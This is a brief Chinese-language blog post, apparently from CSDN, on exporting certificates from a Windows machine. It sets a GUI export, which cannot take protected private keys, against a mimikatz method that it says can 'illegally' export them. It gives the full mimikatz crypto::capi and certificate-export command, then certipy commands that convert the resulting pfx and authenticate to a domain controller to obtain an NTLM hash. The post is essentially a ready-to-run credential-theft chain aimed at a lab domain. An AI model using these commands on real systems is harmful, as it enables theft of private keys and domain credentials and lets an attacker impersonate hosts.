mimikatz 导出证书

Lil_Dean

于 2025-02-21 16:59:47 发布

阅读量228

点赞数 3

文章标签：服务器网络网络安全安全 linux

本文链接：https://blog.youkuaiyun.com/anddddoooo/article/details/145781613

版权

图形化导出证书

此方法不能非法导出密钥。右键——>所有任务(K)——>导出(E)

mimikatz 导出证书

此方法能非法导出密钥。

mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"

# 先转换为 certipy 可用的 pfx 文件
certipy cert -pfx local_machine_my_1_dc01.HACK.com.pfx -password "mimikatz" -export -out DC01.HACK.com.pfx
# 认证获得 hash
certipy auth -pfx DC01.HACK.com.pfx -dc-ip 192.168.72.21 -debug